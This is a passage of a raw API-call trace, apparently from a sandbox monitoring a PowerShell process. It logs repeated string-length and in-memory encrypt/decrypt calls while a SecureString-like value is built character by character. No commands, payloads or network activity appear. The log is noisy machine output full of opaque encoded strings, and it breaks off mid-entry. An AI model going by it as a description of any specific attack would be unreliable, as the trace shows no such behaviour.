(param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡鸱얟湕泇꒬虷ꂬ땏") returned 0x28 [0231.479] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡鸱얟湕泇꒬虷ꂬ땏") returned 0x28 [0231.479] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.479] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4xNjKq3") returned 0x28 [0231.479] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.479] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚") returned 0x28 [0231.480] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚") returned 0x28 [0231.480] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚") returned 0x28 [0231.480] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚") returned 0x30 [0231.480] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0231.480] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4xNjKq3U㤞ᆚ쁠⩹晰ꊡ") returned 0x30 [0231.480] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0231.480] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚툤숈ꔔ储ⱊ涀") returned 0x30 [0231.480] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚툤숈ꔔ储ⱊ涀") returned 0x30 [0231.480] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0231.480] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4xNjKq3UGᆚ쁠⩹晰ꊡ") returned 0x30 [0231.480] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0231.481] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚㟓뙤핆夠볨ꆃ") returned 0x30 [0231.481] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚㟓뙤핆夠볨ꆃ") returned 0x30 [0231.481] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0231.481] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4xNjKq3UGM쁠⩹晰ꊡ") returned 0x30 [0231.481] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0231.481] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚愍덽힂瑧厄䌂摊ꖀ") returned 0x30 [0231.481] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡姘Ƌ曳窮ꆖ彼ᔃ澚愍덽힂瑧厄䌂摊ꖀ") returned 0x30 [0231.481] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0231.481] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4xNjKq3UGM=⩹晰ꊡ") returned 0x30 [0231.481] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0231.481] EtwEventActivityIdControl () returned 0x0 [0231.481] EtwEventActivityIdControl () returned 0x0 [0231.481] EtwEventActivityIdControl () returned 0x0 [0231.482] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.482] EtwEventActivityIdControl () returned 0x0 [0231.482] EtwEventActivityIdControl () returned 0x0 [0231.482] EtwEventActivityIdControl () returned 0x0 [0231.483] SysStringLen (param_1="") returned 0x8 [0231.483] SysStringLen (param_1="N") returned 0x8 [0231.483] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.483] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0231.483] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0231.483] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.484] SysStringLen (param_1="ND") returned 0x8 [0231.484] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.484] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0231.484] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0231.484] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.484] SysStringLen (param_1="NDZ") returned 0x8 [0231.484] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.484] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0231.484] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0231.484] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.484] SysStringLen (param_1="NDZl") returned 0x8 [0231.484] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.484] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0231.484] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0231.484] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.485] SysStringLen (param_1="NDZlO") returned 0x8 [0231.485] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.485] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0231.485] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0231.485] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.485] SysStringLen (param_1="NDZlOD") returned 0x8 [0231.485] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.485] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0231.485] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0231.485] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.485] SysStringLen (param_1="NDZlODR") returned 0x8 [0231.485] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.485] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0231.485] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0231.485] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.486] SysStringLen (param_1="NDZlODRm") returned 0x8 [0231.486] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.486] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0231.486] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0231.486] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0231.486] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0231.486] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.486] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0231.486] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0231.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0231.487] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.487] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0231.487] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0231.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0231.487] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.487] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0231.487] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0231.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0231.487] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.488] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0231.488] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0231.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0231.536] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.536] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0231.536] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0231.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0231.536] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.537] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0231.537] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0231.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0231.537] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.537] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0231.537] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0231.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0231.537] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.538] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0231.538] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.538] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0231.538] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0231.538] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0231.539] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0231.539] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.539] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0231.539] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.539] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0231.539] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0231.539] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.539] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0231.539] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0231.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0231.540] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.540] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0231.540] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0231.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0231.540] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.540] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0231.540] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0231.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0231.541] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.541] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0231.541] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0231.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0231.541] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.541] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0231.541] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0231.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0231.541] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.542] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0231.542] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0231.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0231.542] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.542] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0231.542] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0231.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0231.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0231.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0231.543] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.543] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0231.543] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0231.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0231.544] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.544] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0231.544] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0231.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0231.544] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.544] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0231.544] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0231.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0231.544] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.545] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0231.545] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0231.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0231.545] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.545] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0231.545] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0231.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0231.545] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.545] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0231.545] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0231.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0231.546] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.546] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0231.546] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0231.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0231.546] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.546] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0231.546] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0231.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0231.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0231.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0231.547] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.548] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0231.548] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0231.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0231.548] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.548] SysStringLen 